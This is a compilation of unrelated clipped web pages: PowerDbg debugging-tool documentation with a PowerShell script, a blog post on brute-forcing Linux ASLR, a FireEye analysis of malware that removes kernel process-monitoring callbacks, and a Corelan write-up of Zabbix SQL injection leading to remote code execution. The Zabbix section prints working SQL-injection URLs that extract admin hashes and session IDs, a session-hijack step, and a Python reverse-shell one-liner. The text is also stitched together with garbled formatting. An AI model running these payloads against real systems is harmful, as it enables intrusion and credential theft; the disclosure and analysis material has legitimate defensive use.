**Convert-PowerDbgCSVToHashTable** converts the output into a Hash Table.

**Attention\!** This cmdlet doesn’t work with **kPn**. It also replaces “**,**
” with “**;** ” to avoid conflict with the CSV deli­miter.

**Parse-PowerDbgSymbolsFromK**

****

Maps just the symbols from **k** command and its variants, saving the content
into the CSV file POWERDBG-PARSED.LOG

**Convert-PowerDbgCSVToHashTable** converts the output into a Hash Table.

**Attention\!** This cmdlet doesn’t work with **kPn**. It also replaces “**,**
” with “**;** ” to avoid conflict with the CSV deli­miter.

****

**Parse-PowerDbgLM1M**

****

Maps just the output from lm1m and stores it into the CSV file POWERDBG-
PARSED.LOG

**Convert-PowerDbgCSVToHashTable** converts the output into a Hash Table.

****

**Classify-PowerDbgThreads**

****

Returns an array where the index is the thread number and the value is one of
these values:

****

0 UNKNOWN\_SYMBOL

1 WAITING\_FOR\_CRITICAL\_SECTION

2 DOING\_IO

3 WAITING

4 GC\_THREAD

5 WAIT\_UNTIL\_GC\_COMPLETE

6 SUSPEND\_FOR\_GC

7 WAIT\_FOR\_FINALIZE

8 TRYING\_MANAGED\_LOCK

9 DATA\_FROM\_WINSOCK

It’s very easy to add more symbols and constants to get a more granular
analysis. Look at the source code for de­tails.

**Analyze-PowerDbgThreads**

Analyzes and shows what each thread is doing and its cor­responding CPU time,
sorted by User Mode time.

This cmdlet is very useful for scenarios like hangs, high CPU, and crashes.

Attention\! This command requires thread information if debugging a dump file.

**Parse-PowerDbgPRINTEXCEPTION**

Maps the output from **\!PrintException** command and saves it into the CSV
file POWERDBG-PARSED.LOG.

The following fields are considered while others are ignored:

Exception object:

Exception type;

Message:

InnerException:

HRESULT:

**Convert-PowerDbgCSVToHashTable** converts the output into a Hash Table.

**Parse-PowerDbgDD-L1**

Maps the output from **dd <address> L1** or **dd poi\( <address>\) L1** and
saves the results into the CSV file POWERDBG-PARSED.LOG.

**Convert-PowerDbgCSVToHashTable** converts the output into a Hash Table.

**Parse-PowerDbgGCHANDLELEAKS**

Maps the output from **\!GCHandleLeaks** command and saves it into the CSV
file POWERDBG-PARSED.LOG.

**Convert-PowerDbgCSVToHashTable** converts the output into a Hash Table.

**Parse-PowerDbgDUMPOBJ**

****

Maps the output from **\!DumpObj** command and saves it into the CSV file
POWERDBG-PARSED.LOG.

The assembly path and file name are saved using the key name ‘Assembly:’.

If the object is invalid the ‘Name:’ field will have the string “Invalid
Object.” You may want to check this string to make sure you’ve got valid data.

The keys are the fields or Method Table, and values are the corresponding
value.

**Convert-PowerDbgCSVToHashTable** converts the output into a Hash Table.

Attention\! This version maps the fields below “Fields:” using MethodTable as
key and Value as value. The prob­lem with this approach is that the same
MethodTable may appear more than once. If it happens, the last or most recent
MethodTable and value will be considered.

Based on users’ feedback this approach may be changed in the near future.

**POWERDBG SCRIPTS**

****

PowerDbgScriptDumpDict.PS1

http://blogs.msdn.com/debuggingtoolbox/archive/2008/10/29/powershell-script-
extracting-all-key-value-pairs-from-a-dictionary-object.aspx

****

Extracts the key/value pair from a Dictionary.

****

PowerDbgScriptExceptions.PS1

http://blogs.msdn.com/debuggingtoolbox/archive/2008/01/15/powershell-script-
displaying-inner-and-hidden-exceptions.aspx

Displays the call stacks that have inner or hidden exceptions.

PowerDbgScriptGCHandleLeaksChart.PS1

http://blogs.msdn.com/debuggingtoolbox/archive/2008/08/22/powershell-script-
chart-and-statistics-from-top-20-objects-leaking.aspx

It displays statistics and a chart from the top 20 objects leaking.

PowerDbgScriptHighCPU.PS1

http://blogs.msdn.com/debuggingtoolbox/archive/2007/12/17/powershell-script-
isolating-the-threads-consuming-high-cpu.aspx

It displays all threads consuming high CPU using a specific time as a
threshold.

PowerDbgScriptSaveModule.PS1

http://blogs.msdn.com/debuggingtoolbox/archive/2007/09/06/powershell-script-
saving-a-module-from-a-net-method-call.aspx

It saves all modules that have a specific method. You pro­vide the method
name, and it gives you the corresponding modules.

Download PowerDbg

http://www.codeplex.com/powerdbg

**Example:****\[PowerShell Script\] Statistics from .NET Applications**

This script is the reason why PowerDbg v5.1 was created. I had to create some
new cmdlets in order to create this script. By the way, thanks to my teammate
Aaron Barth that gave the idea for this script\!

This script collects information from all threads running managed code and
gives the user statistics by threads like:

- CLR stack.
- Managed objects from the stack.
- ASP.NET page.
- What the thread is doing.
- Exceptions by threads.
- Threads running ASP.NET pages.
Contrary to what you may think this script is very simple and shows you how to
use PowerDbg. It’s very easy to customize it or improve it. For example, you
may want to display the ASP.NET pages by threads or queries/stored procedures
by threads.

**Screenshots:**

****  
---  
|  <img src='img/Temp2_6290.jpg' width='686' height='441'
alt='ScriptASPX_1.jpg' />  
  

****  
---  
|  <img src='img/Temp2_6294.jpg' width='686' height='441'
alt='ScriptASPX_2.jpg' />  
  

****  
---  
|  <img src='img/Temp2_6291.jpg' width='686' height='441'
alt='ScriptASPX_3.jpg' />  
  
  
---  
|  <img src='img/Temp2_6293.jpg' width='686' height='441'
alt='ScriptASPX_4.jpg' />  
  

Source code for **PowerShellScriptASPXStatistics.ps1** :

\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#

\# Script: PowerDbgScriptASPXStatistics

\#

\# Parameters: None.

\#

\# Purpose: Shows statistics from threads running ASP.NET pages.

\#

\# Attention\! This script was not tested on Win64.

\#

\# Changes History:

\#

\# Roberto Alexis Farah

\# All my functions are provided "AS IS" with no warranties, and confer no
rights.

\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#set-
psdebug -strict

$ErrorActionPreference = "stop"

trap \{"Error message: $\_"\}

write-Host "Scanning all threads and extracting the CLR stack..." -foreground
Green -background Black

\# First, let's scan all threads and identify those running managed code.

Send-PowerDbgCommand "~\* e \!clrstack"

Parse-PowerDbgCLRSTACK

\# Get all the stacks running managed code.

$clrStack = Convert-PowerDbgCSVToHashTable

write-Host "Done\!" -foreground Green -background Black

\# Sorts the keys by Thread Number and save them into an array.

$arrayOfThreads = $clrStack.keys | Sort-Object \{\[int\] $\_\}
\# Let's consider the situation where the dump has no thread running managed
code.

if\($arrayOfThreads.Count -eq 0\)

\{

write-Host "There are not threads running managed code\!" -foreground Red
-background Black

return

\}

write-Host "Scanning all threads and extracting the managed objects..."
-foreground Green -background Black

Send-PowerDbgCommand "~\* e \!dso"

Parse-PowerDbgDSO

$dso = Convert-PowerDbgCSVToHashTable

write-Host "Done\!" -foreground Green -background Black

write-Host "Collecting information about each thread..." -foreground Green
-background Black

Send-PowerDbgCommand "\!Threads"

Parse-PowerDbgTHREADS

$threads = Convert-PowerDbgCSVToHashTable

write-Host "Done\!" -foreground Green -background Black

write-Host "Collecting information from threads running ASP.NET..."
-foreground Green -background Black

Send-PowerDbgCommand "\!ASPXPages"

Parse-PowerDbgASPXPAGES

$aspxPages = Convert-PowerDbgCSVToHashTable

write-Host "Done\!" -foreground Green -background Black

write-Host "Scanning all threads and preparing statistics..." -foreground
Green -background Black

\# Scans all threads running managed code.

for\($i = 0; $i -lt $arrayOfThreads.Length; $i++\)

\{

\# Make sure the content is not null.

if\($arrayOfThreads\[$i\] -eq ""\)

\{

continue; \# Invalid, get next element.

\}

write-Progress -activity "Thread Statistics" -status "Thread number
$arrayOfThreads\[$i\]" -percentComplete \($i / $arrayOfThreads.Count \* 100\)

write-Host "=============================================================="
-foreground Green -background Black

write-Host "\`nThread number: " -foreground Green -background Black -nonewline

write-Host $arrayOfThreads\[$i\] -foreground Red -background Black

write-Host "\`nCLR stack:\`n" -foreground Green -background Black

\[string\] $temp = $clrstack\[$arrayOfThreads\[$i\]\]

$temp = $temp.Replace\($global:g\_frameDelimiter, "\`n"\)

$temp = $temp.Replace\(";", ","\)

write-Host $temp -foreground Red -background Black

write-Host "\`nManaged objects from the stack:\`n" -foreground Green
-background Black

$temp = $dso\[$arrayOfThreads\[$i\]\]

$temp = $temp.Replace\($global:g\_frameDelimiter, "\`n"\)

$temp = $temp.Replace\(";", ","\)

write-Host $temp -foreground Red -background Black

write-Host "\`nThread Number ID OSID ThreadOBJ State GC Context Domain Count
APT Exception\`n" -foreground Green -background Black

write-Host " " $arrayOfThreads\[$i\] " " $threads\[$arrayOfThreads\[$i\]\]
-foreground Red -background Black

$threadNum = $arrayOfThreads\[$i\]

\# Change context to the current thread being analyzed.

Send-PowerDbgCommand "~ $threadNum s"

\# Get exception.

Send-PowerDbgCommand "\!PrintException"

Parse-PowerDbgPRINTEXCEPTION

$exception = $null

$exception = Convert-PowerDbgCSVToHashTable

\# Makes sure there is an exception coming from that thread.

if\($exception\["Message:"\] -ne $null\)

\{

write-Host "\`nException object:" -foreground Green -background Black

write-Host $exception\["Exception object:"\] -foreground Red -background Black

write-Host "Exception type:" -foreground Green -background Black

write-Host $exception\["Exception type:"\] -foreground Red -background Black

write-Host "Message:" -foreground Green -background Black

write-Host $exception\["Message:"\] -foreground Red -background Black

write-Host "Inner Exception:" -foreground Green -background Black

write-Host $exception\["InnerException:"\] -foreground Red -background Black

write-Host "HRESULT:" -foreground Green -background Black

write-Host $exception\["HResult:"\] -foreground Red -background Black

\}

\# User must press any key to continue after 5 threads were displayed.

if\(\(\($i \+ 1\) % 5\) -eq 0\)

\{

write-Host "\`n\#\#\#\#\#\#\# Press any key to see 5 more threads...
\#\#\#\#\#\#\#"

$keyboard = $host.UI.RawUI.ReadKey\("NoEcho,IncludeKeyDown"\)

\}

\}

write-Host "Done\!" -foreground Green -background Black

write-Host "\`nASP.NET Pages:\`n" -foreground Green -background Black

write-Host "HttpContext Timeout Completed Running ThreadId ReturnCode Verb
RequestPath QueryString" -foreground Green -background Black

foreach\($item in $aspxPages.keys\)

\{

write-Host $item " " $aspxPages\[$item\] -foreground Red -background Black

\}

\[6\] PowerDbg is a PowerShell tool that automates debugging sessions. Using
PowerDbg we can create PowerShell scripts that work like extensions. Here is
the link to download the tool:
http://blogs.msdn.com/debuggingtoolbox/archive/tags/PowerDbg+Library/def...

# Jeremy's Computer-Security+Blog: Beating Linux ASLR

**Created:**| _7/22/2009 1:02:33 PM_  
---|---  
**Updated:**| _7/22/2009 1:02:53 PM_  
**Author:**| __  
**Tags:**| _Exploit aslr Linux_  
  

## Friday, July 17, 2009

### Beating Linux ASLR

ASLR \(Address Space Layout Randomization\) implementations in general have
caused quite a stir in the seats of exploit developers in the last couple
years. By randomizing potential payload memory, things can get tough for
people who want a shell, and want it now. But there is good news, at least for
hackers that attack software "protected" by the Linux Kernel's implementation
of ASLR: It isn't as good as many perceive it to be.  
  
One technique in particular that can beat it is to simply brute force the
return address. This attack works well when trying to hit a payload on a local
system or even a remote target that isn't disturbed by wrong guesses. It
relies on the fact that only 24/32 bits are randomized and do wonders if
enough stack space is available to store large nop slides. For example...  
  
ASLR ON

[code]

      
    rush@ubuntu:~$ ./env HOME  
    [HOME] @ 0xbfcafe75  
    rush@ubuntu:~$ ./env HOME  
    [HOME] @ 0xbf88de75  
    rush@ubuntu:~$ ./env HOME  
    [HOME] @ 0xbfeafe75  
    rush@ubuntu:~$ ./env HOME  
    [HOME] @ 0xbfeb3e75  
    rush@ubuntu:~$ ./env HOME  
    [HOME] @ 0xbff10e75  
    rush@ubuntu:~$  
    
[/code]

  
  
ASLR OFF

[code]

      
    rush@ubuntu:~$ ./env HOME  
    [HOME] @ 0xbffffe75  
    rush@ubuntu:~$ ./env HOME  
    [HOME] @ 0xbffffe75  
    rush@ubuntu:~$ ./env HOME  
    [HOME] @ 0xbffffe75  
    rush@ubuntu:~$ ./env HOME  
    [HOME] @ 0xbffffe75  
    rush@ubuntu:~$ ./env HOME  
    [HOME] @ 0xbffffe75  
    rush@ubuntu:~$  
    
[/code]

  
  
As you can see, when ASLR is on, the environmental variable "HOME" could be at
many different addresses in memory, hence the address space being
"randomized". And of course, when it is off, its pretty stationary.  
  
\--> Store a large number of NOPS \(0x90\) and shellcode on the stack as our
payload \(buffer, environment\)  
  
\--> Overwrite the extended instruction pointer with a semi-random return
address  
  
\--> Keeping trying until we hit a random return address that points to our
nop slide and shellcode  
  
bash\#  
  
:\)  
  
Utilizing this technique renders ASLR nearly useless as an exploitation
deterrent, meaning its no longer a problem when meeting the requirements \(you
execute code on the stack \(or heap, for example, heap spray\), compiler
protections aren't making themselves a problem, etc\).  
  
An obvious problem with this technique is that it assumes the stack is
executable, which is more common than we'd live to admit these days. GCC4 also
has presented problems that this technique doesn't address but some binaries
and/or closed source software packages you find across the internet may be
compiled with different libraries, compilers, settings, and with or without
protections. I should also mention that trying this technique on 64-bit
systems would be make much less efficient, if worth it at all, since more bits
are randomized.  
  
I plan on releasing real exploit code later on through Krakow Labs utilizing
this technique, but for now, Jon Oberheide has a nice exploit
forlibvirt\_proxy that can certainly be used as a reference of this form of
attacking ASLR.  
  
Also, this great site called SecurityTube hosts lots of nice videos for the
computer security aware, including this cool one on bypassing ASLR through
brute force like I've discussed today.  
  
Enjoy :D  
  
So other fuel for thought could be exploiting bugs that require malformed
files. Loading up an interpreter with a significant number of payloads could
be made slightly practical for even a "one hit wonder" return address.  
  
Always remember that when you can easily control the system's memory
resources, either by remotely through a client like a web browser \(heap
spray, heap feng shui, etc\) or bashing applications on a local system, you
always have options.

# FireEye Malware Intelligence Lab:How Advanced Malware Bypasses Process
Monitoring

**Created:**| _6/26/2012 9:25:46 AM_  
---|---  
**Updated:**| _6/26/2012 9:25:46 AM_  
**Author:**| __  
**Tags:**| _aslr Malware-analysis mitigations_  
  

## How Advanced Malware Bypasses Process Monitoring

One of the primary aims of an anti-virus \(AV\) engine is to monitor all
process activity—while malware, on the other hand, wants to avoid detection by
AV. The philosophy of most rootkits is to run silent and deep, which also
aligns with the goals of advanced malware as it evades detection by most
enterprise class host-based security solutions \(HBSS\) and AV.

So how does malware evade detection when starting new rogue processes? Easy—it
directly attacks the operating system’s kernel. Microsoft provides the kernel
routine **PsSetCreateProcessNotifyRoutine** to allow security software to
monitor process creation and termination events in the Windows kernel, and
security software calls the **PsSetCreateProcessNotifyRoutine** in order to be
notified by the kernel when these events occur. These security solutions will
then act on process creation and termination events in order to track system
activity and protect critical resources.

The Windows OS internally maintains an array of callback objects with the
starting address of **PspCreateProcessNotifyRoutine**. A maximum of eight
callbacks may be registered on Windows XP SP2. Unfortunately for developers
outside of Redmond, this internal pointer of the initial routine is not
exported, and there is no publicly disclosed method for third-party
applications to easily register for these notifications.

Unsurprisingly, we have discovered malware that uses this implementation by
accessing the **PspCreateProcessNotifyRoutine** \(internal pointer\) in order
to remove all registered callbacks. Once the malware has removed the AV
security suite callbacks, it is free to create and terminate processes at will
without any pesky security software interference. Let’s take a closer look at
how this works.

<img src='img/Temp2_3225.jpg' alt='Bypassing Procses Monitoring' />

Figure 1. PsSetCreateProcessNotifyRoutine ntoskrnl.exe

The first step is to find the internal pointer
**PspCreateProcessNotifyRoutine**. A quick review of the implementation of
**PsSetCreateProcessNotifyRoutine** in the Windows ntoskrnl.exe with IDA Pro
reveals that the offset is contained within the x86 assembly of this routine
\(see Figure 1 above\). Figure 2 below shows the reverse-engineered malware
sample and demonstrates how its authors have reverse-engineered the
implementation of **PsSetCreateProcessNotifyRoutine** in the Windows
ntoskrnl.exe, using this knowledge to then craft an attack.

<img src='img/Temp2_3226.jpg' alt='Image2' />

Figure 2. Retrieval of the Psp CreateProcessNotifyRoutine

The actual implementation of this attack is simple \(see Figure 2\). First,
the malware must determine the Windows build number, which is the exported
value **NtBuildNumber**. For XP, the build number is 2600 \(0a28 in
hexadecimal\). The next step is to get the runtime address to the
**PsSetCreateProcessNotifyRoutine** routine.

The jmp\_\_PsSetCreateProcessNotifyRoutine assembly code fragment has a jmp to
the external **PsSetCreateProcessNotifyRoutine** routine. As shown in Figure
3, the jmp op-code is 2-byte. Thus, the
jmp\_\_PsSetCreateProcessNotifyRoutine+2 value will get us the address to the
**PsSetCreateProcessNotifyRoutine** routine in memory.

The **op-code 0xBF** is ‘**mov edi,** ’ and the **op-code 0x57** is the
‘**push edi** ’ on **NtBuildNumber** 2600\. Now, all we need to do is linearly
scan the machine code for **0xBF** followed by **0x57** five bytes later.
Immediately following the op-code **0xBF** in memory is the
**PspCreateProcessNotifyRoutine** address. And that’s it. The rest of this
exploit is trivial. Just walk the **PspCreateProcessNotifyRoutine** pointer
and NULL out all callback objects.

<img src='img/Temp2_3227.jpg' alt='jmp__PsSetCreateProcessNotifyRoutine' />

Figure 3. jmp\_\_PsSetCreateProcessNotifyRoutine

Bottom line: Any enterprise or consumer security suite that uses this
technique for monitoring process activity can be easily circumvented—a big win
for the malware authors. Fortunately, all FireEye products are not vulnerable
to this tactic, as malware process activity will still be tracked and
identified correctly, even after this tactic is used.

_This post was written by Michael Vincent and Abhishek Singh._

Abhishek Singh on 2012.06.21 General Security, Malware Research

## TrackBack

TrackBack URL for this entry:  
http://www.typepad.com/services/trackback/6a00d835018afd53ef017742931473970d

Listed below are links to weblogs that reference How Advanced Malware Bypasses
Process Monitoring:

## Recent Comments

You can follow this conversation by subscribing to the comment feed for this
post.

  * Nice write-up and thanks for sharing. Any chance you guys can point us to the malware so we can do our own analysis also? Thanks.
Mike Yemane on How Advanced Malware Bypasses Process Monitoring

## Post a comment

Comments are moderated, and will not appear on this blog until the author has
approved them.

# Zabbix SQL Injection/RCE – CVE-2013-5743 | Corelan Team
**Created:**| _10/17/2013 11:03:23 AM_  
---|---  
**Updated:**| _10/17/2013 11:03:23 AM_  
**Author:**| __  
**Tags:**| _Exploit Metasploit vulnerability monitoring_  
  

# **Z** abbix SQL Injection/RCE – CVE-2013-5743****

Published October 4, 2013 | By Corelan Team \(Lincoln\) 
### Introduction****

First off, please do not throw a tomato at me since this is not the typical
Windows binary exploit article that is posted on Corelan**\!**

During a recent a penetration test, I encountereda host running Zabbix, an
agent based monitoring application**.** Although I was unfamiliar with the
product at the time, I decided to focus my efforts trying to exploit the
application**.** While poking around I was able to find SQL Injection through
one of the frontend pages**.** I was then able to get code execution using the
built-in server functionality**.** Further, I was able to get code execution
on all the agents the server controlled**\!** I thought this would be an
interesting article, so I decided to share**.**

First, a little background**.**

### Disclosure Timeline**** :

  * 9/11/2013: Corelan contacts vendor for support contact
  * 9/12/2013: vendor replies back with lead dev contact information
  * 9/16/2013: Corelan makes initial contact with lead dev and asks vendor to agree with disclosure terms
  * 9/16/2013: Vendor agrees and asks for more information about the bug
  * 9/16/2013: Corelan sends bug report to vendor
  * 9/23/2013: Vendor confirms bug
  * 10/2/2013: Patch released by vendor

Corelan would like to thank the Zabbix development team for being very
responsive and quick to fix the issue**.**

On Wednesday, October 2nd Zabbix released patch ZBX-7091 to address this and
several other SQL Injection related issues**.** Further details regarding this
patch can be found at the following URL:

https://support.zabbix.com/browse/ZBX-7091

The CVE assigned to this vulnerability is CVE-2013-5743**.** There are other
vulnerabilities that were combined with this CVE**.** Bernhard Schildendorfer
from SEC Consultant Vulnerability lab also found SQL injection points through
the Zabbix APIs**.** His advisory can be found here:

http://packetstormsecurity.com/files/123511/SA-20131004-0.txt

### Vendor Details****

Zabbix is an open source, agent-based, monitoring and alert application used
to correlate data from a wide range of clients**.** It’s written in PHP and
supports commonly user SQL databases like MySQL, PostgreSQL, and Orcale**.**

From the vendor’s site \(http://www.zabbix.com \):

> ZABBIX team’s mission is to make a superior monitoring solution available
> and affordable for all**.**
> The company’s flagship product is ZABBIX, one of the most popular open
> source monitoring software in the world**.** It is already used by a vast
> number of companies, who have chosen it due to real scalability, high and
> robust performance, ease of use and extremely low costs of ownership**.**
### Vulnerability Details****

This particular vulnerability affects the httpmon.php script which, by
default, is accessible via an unauthenticated session**.** This is due in
part, to the fact that Zabbix comes preconfigured with a “guest” user account
which is permitted “Zabbix user” level permissions**.** With this, any
unauthenticated request to a resource that is accessible with “Zabbix user”
permissions, the session ID of that request will automatically be associated
with the “guest” user, effectively authenticating that user as “guest”**.** If
the “guest” account has been disabled, valid account credentials will be
required in order to trigger this vulnerability**.**

In case you’re wondering, you can disable the guest account from the admin
panel**.**

Looking at the screenshot below, we can see here that the applications
parameter is susceptible to SQL Injection due to the lack of input validation
applied to the “applications” parameter**.** By inserting a single quote
\(‘\), the intended SQL query is escaped, throwing an exception error from the
MySQL database server**.**

<img src='https://www.corelan.be/wp-
content/uploads/2013/10/zabbix1_thumb2.png' alt='zabbix1' />

  
To determine the cause of this issue, we can follow the code path from the
point in which the GET parameter is parsed**.**

Here we can see that our user supplied value is parsed from the URL request
and assigned to the $application variable**.** Next, the add2favorites\(\)
function is then called:

[code]

    foreach ($_REQUEST['applications'] as $application) { 
         add2favorites('web.httpmon.applications', $application); 
         }
[/code]

Looking at the add2favorites function, we can see that $application variable
is now referenced as $favid, which in turn is inserted into the $values
array****.****

[code]

    function add2favorites($favobj, **$favid** , $source = null) { 
         $favorites = get_favorites($favobj); 
        
    
         foreach ($favorites as $favorite) { 
              if ($favorite['source'] == $source && $favorite['value'] == $favid) { 
              return true; 
              } 
         } 
         DBstart(); 
         $values = array( 
              'profileid' => get_dbid('profiles', 'profileid'), 
              'userid' => CWebUser::$data['userid'], 
              'idx' => zbx_dbstr($favobj), 
              **'value_id' = > $favid,**
              'type' => PROFILE_TYPE_ID 
    );
[/code]

The $values arrayis then usedas part of an in-line SQL query**.** Looking at
the code sample below**,** we can again see that no sanitization of our data
has been performed prior to passing it as part of our SQL query**.**

[code]

    return DBend(DBexecute('INSERT INTO profiles ('.implode(', ', **array_keys($values)**)**.** ') VALUES ('.implode(', ', $values)**.** ')'));
[/code]

### The patch****

After reviewing the changes implemented by this patch, we can see that $values
now calls the function “zbx\_dbstr” prior to executing our previously
vulnerable SQL query:

[code]

    Index: frontends/php/include/profiles.inc.php
    ===================================================================
    --- frontends/php/include/profiles.inc.php	(revision 38884)
    +++ frontends/php/include/profiles.inc.php	(working copy)
    @@ -148,9 +148,9 @@
     			'profileid' => get_dbid('profiles', 'profileid'),
     			'userid' => self::$userDetails['userid'],
     			'idx' => zbx_dbstr($idx),
    -			$value_type => ($value_type == 'value_str') **?** zbx_dbstr($value) : $value,
    -			'type' => $type,
    -			'idx2' => $idx2
    +			**$value_type = > zbx_dbstr($value),**
    +			'type' => zbx_dbstr($type),
    +			'idx2' => zbx_dbstr($idx2)
     		);
     		return DBexecute('INSERT INTO profiles ('.implode(', ', array_keys($values))**.** ') VALUES ('.implode(', ', $values).')');// string value prepearing
    
    if (isset($DB['TYPE']) && $DB['TYPE'] == ZBX_DB_MYSQL) {
    **function zbx_dbstr($var) {
            if (is_array($var)) {
                foreach ($var as $vnum = > $value) {
                    $var[$vnum] = "'".mysql_real_escape_string($value)**.** "'";
                }
                return $var;
            }
            return "'".mysql_real_escape_string($var)**.** "'";
        }**
[/code]

To apply the patch simply copy it to the downloaded directory of Zabbix
\(~/Downloads/zabbix-2**.** 0.8/frontends\) and run:

[code]

    patch -p1 <fix.patch
[/code]

Then copy the patched files over to your web directory:

[code]

    sudo cp –r **.** /* /var/www/zabbix/
[/code]

### Leveraging SQL Injection****

Generally at this time I am firing up sqlmap  and doing my happy dance**\!**

Using the following query, we can extract the Administrator username and hash
from the users table:

[code]

    http://zabbix.server/zabbix/httpmon.php**?** applications=2%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28%28select%28select%20concat%28cast%28concat%28alias,0x7e,passwd,0x7e%29%20as%20char%29,0x7e%29%29%20from%20zabbix.users%20LIMIT%200,1%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29
[/code]

<img src='https://www.corelan.be/wp-
content/uploads/2013/10/zabbix2_thumb1.png' alt='zabbix2' />

Great**\!** With this we can crack the md5 password and login as Admin**\!**
However, what if the password takes too long to crack and the user created a
complex password**?**

It was discovered during the assessment that the session identification
\(sid\) for all users, including Admin, is stored in the Zabbix database in
the sessions table**.** They appear to never be discarded unless specified by
the Administrator \(Auto-Logout which is disabled by default\)**.**

The following is a screen shot of the Zabbix server displaying the values for
the table sessions**.** The query is looking for the Admin session id’s, which
is user id 1**.** Status 0 will indicate an active session IDs not in use**.**

<img src='https://www.corelan.be/wp-
content/uploads/2013/10/zabbix3_thumb1.png' alt='zabbix3' />

It is possible to reuse one of these sessions id’s, and bypass authentication,
without knowing the Admin password**.** The same SQL injection technique used
before can extract a valid session ID from the database**.**

Using the following query, we can extract the Administrator session ID from
the sessions table:

[code]

    http://zabbix.server/zabbix/httpmon.php**?** applications=2%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28%28select%28select%20concat%28cast%28concat%28sessionid,0x7e,userid,0x7e,status%29%20as%20char%29,0x7e%29%29%20from%20zabbix.sessions%20where%20status=0%20and%20userid=1%20LIMIT%200,1%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29
[/code]

<img src='https://www.corelan.be/wp-
content/uploads/2013/10/zabbix4_thumb1.png' alt='zabbix4' />

It is then possible to replace the existing session ID in the cookie field
with the one extracted to elevate the browser session with Administrative
privileges**.**

Example: SID = a7c3f4f6be308b74585f7cdf9d5f7650

<img src='https://www.corelan.be/wp-
content/uploads/2013/10/zabbix5_thumb2.png' alt='zabbix5' />

<img src='https://www.corelan.be/wp-
content/uploads/2013/10/zabbix6_thumb2.png' alt='zabbix6' />

### Cool**\!** We got Admin, now what**?**

One of Zabbix’s built-in features allow user’s to execute scripts on the
server and agents it controls for monitoring purposes**.** We can leverage
this built-in functionality in order to further our attack**.**

Further information on Zabbix’s script execution interface can be found at the
following URL:

https://www.zabbix.com/documentation/2**.**
2/manual/web\_interface/frontend\_sections/administration/scripts

<img src='https://www.corelan.be/wp-
content/uploads/2013/10/zabbix7_thumb2.png' alt='zabbix7' />

As we already have administrator permissions, we can deploy a script that will
execute on the underlying operating system and since nearly every modern Linux
distribution comes preconfigured with either Perl or Python \(or both\), we
can abuse this in order to trigger a reverse shell from our target host back
to us****.****

Executing the following Python script from @pentestmonkey, will provide us
with a remote command shell**.**

http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

[code]

    python -c 'import socket,subprocess,os;s=socket.socket(socket**.** AF_INET,socket.SOCK_STREAM);s.connect(("10.0**.** 0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
[/code]

<img src='https://www.corelan.be/wp-
content/uploads/2013/10/zabbix8_thumb2.png' alt='zabbix8' />

<img src='https://www.corelan.be/wp-
content/uploads/2013/10/zabbix9_thumb2.png' alt='zabbix9' />

Now the question is, how do we trigger the script we saved on the server**?**

### Code Execution****

Fortunately for us, Zabbix includes the scripts\_exec.php script in order to
trigger the execution of our command shell**.** However, in order to do so
we’ll need to provide it with the correct parameters:

The scripts\_exec.php requires the following URL parameters to execute:

  * **execute = 1**
  * **scriptid = 4**

  *  _The value is the number of scripts stored in scripts table in the database**.** This can be guessed, or enumerated with SQL injection**.** The default number of scripts in Zabbix is 3, so the next one would be 4**.**_

  * **sid = 585f7cdf9d5f7650**

  *  _The last 16 characters in the session id**.** sid = a7c3f4f6be308b74585f7cdf9d5f7650_

  * **hostid = 10084**

  *  _The value of host id can be found in the interface table in the database**.** This can be guessed, or enumerated with SQL injection**.** The default value of the Zabbix server \(127**.** 0.0.1\) is 10084._

Now time to test our script out and see if we can get code execution:

http://zabbix.server/zabbix/scripts\_exec.php**?**
execute=1&scriptid=4&sid=585f7cdf9d5f7650&hostid=10084

<img src='https://www.corelan.be/wp-
content/uploads/2013/10/zabbix10_thumb1.png' alt='zabbix10' />

Woot**\!** So we were able to get code execution through extracting the
Administrator session ID and then creating our own script to give us a remote
shell**.**

Pyoor, a team member of Corelan, was nice enough to put everything together in
a Metasploit module**.**

<img src='https://www.corelan.be/wp-
content/uploads/2013/10/zabbix_metasploit_1_thumb.png'
alt='zabbix_metasploit_1' />

### Further Exploitation**?**

It was also discovered that it is possible through the scripts functionality
in Zabbix to execute the same commands on all agents associated with the
Zabbix server**.** The one condition is they have to have the following
configuration parameter turned on, which is _off by default_**.**

https://www.zabbix.com/documentation/2**.**
0/manual/config/notifications/action/operation/remote\_command

zabbix\_agentd.conf:

[code]

    ### Option: EnableRemoteCommands
    # Whether remote commands from Zabbix server are allowed**.**
    # 0 - not allowed
    # 1 - allowed
    #
    # Mandatory: no
    # Default:
    # EnableRemoteCommands=0
[/code]

However, it is not unusual for system administrators to enable the remote
commands option in the agents**.**

Lets go ahead through the theory**.** First we would need to extract the agent
from the interface table**.**

<img src='https://www.corelan.be/wp-
content/uploads/2013/10/zabbix11_thumb1.png' alt='zabbix11' />

We can see that we have an agent running on IP 192**.** 168.2.9 with a hostid
of 10085. Next we will create a sample script to see if remote commands is
enabled**.** This is actually very easy to test since the server command and
agent response is sent in clear text**.**

<img src='https://www.corelan.be/wp-
content/uploads/2013/10/zabbix12_thumb2.png' alt='zabbix12' />

Next we have the Zabbix server execute the script \(using the same
scripts\_exe.php script\) and we can see the results over Wireshark:

<img src='https://www.corelan.be/wp-
content/uploads/2013/10/zabbix13_thumb2.png' alt='zabbix13' />

With remote commands disabled we can see that it does not execute the
script**.** If we go ahead and enable remote commands on the agent and try the
script again:

<img src='https://www.corelan.be/wp-
content/uploads/2013/10/zabbix14_thumb2.png' alt='zabbix14' />

Excellent**\!** So if we have remote commands enabled on the agent it is then
possible get a shell on the agent through the Zabbix server**.** All we need
to do is:

  * Extract hostid from interface table
